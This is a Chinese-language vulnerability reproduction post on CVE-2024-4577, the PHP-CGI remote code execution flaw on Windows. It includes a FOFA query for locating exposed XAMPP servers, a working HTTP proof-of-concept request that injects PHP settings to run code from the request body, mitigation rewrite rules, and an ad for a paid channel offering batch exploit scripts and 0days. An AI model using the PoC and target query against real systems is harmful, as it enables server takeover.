「漏洞复现」PHP-CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

冷漠安全 冷漠安全 2024-06-11 19:39

0x01 免责声明

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！！！

0x02

产品介绍

PHP-CGI 是一种用于在 Web 服务器上运行 PHP 脚本的接口，通过 CGI（公共网关接口）将 PHP 解释器与 Web 服务器连接。

0x03

漏洞威胁

2024年6月，PHP官方发布新版本，修复了 PHP-CGI 中一个远程代码执行漏洞。鉴于该漏洞无前置条件，易于利用，且默认情况下可获取操作系统权限，建议所有使用受影响版本的企业尽快升级修复，以确保安全。

漏洞影响：

该漏洞可在受影响的环境下执行任意PHP代码，从而获取操作系统权限。最严重的情况下，这可能导致服务器的完全接管，敏感数据泄露，甚至将服务器转化为发起其他攻击的跳板。

影响范围：

PHP 8.3 < 8.3.8 
PHP 8.2 < 8.2.20 
PHP 8.1 < 8.1.29 

其他版本官方已停止维护，可根据实际情况采取相应的缓解措施。

0x04

漏洞环境

FOFA:

header="Xampps_info" || body="/xampps.jpg" || (header="location http" && header="xampp") || body="content=\"Kai Oswald Seidler" || title="XAMPP for" || title="XAMPP Version" || body="font-size: 1.2em; color: red;\">New XAMPP"

0x05

漏洞复现

POC

GET /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
REDIRECT-STATUS:1

<?php print(123*123);?>

该poc仅适用于XAMPP默认配置

0x06

批量脚本验证

Nuclei验证脚本已发布
知识星球：冷漠安全

0x07

修复建议

临时缓解方案

对于无法升级更新PHP版本的使用者，可使用以下Rewrite规则来缓解风险，此方案仅适用于操作系统为简体中文936、繁体中文950、日文932语系的用户。

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

升级修复方案

官方已发布新版本修复漏洞，建议访问官方页面（https://www.php.net/）获取安全版本。

同时，PHP-CGI已经是一种过时且易出问题的架构，建议迁移至更为安全的Mod-PHP、FastCGI 或是 PHP-FPM 等架构。

0x08

加入我们

漏洞详情及批量检测POC工具请前往知识星球获取

知识星球：冷漠安全交个朋友，限时优惠券：加入立减25星球福利：每天更新最新漏洞POC、资料文献、内部工具等

「星球介绍」：

本星球不割韭菜，不发烂大街东西。欢迎进来白嫖，不满意三天退款。

本星球坚持每天分享一些攻防知识，包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。

本星主已加入几十余个付费星球，定期汇聚高质量资料及工具进行星球分享。

「星球服务」：

加入星球，你会获得：

♦ 批量验证漏洞POC脚本

♦ 0day、1day分享

♦ 汇集其它付费星球资源分享

♦ 大量的红蓝对抗实战资源

♦ 优秀的内部红蓝工具及插件

♦ 综合类别优秀Wiki文库及漏洞库

♦ 提问及技术交流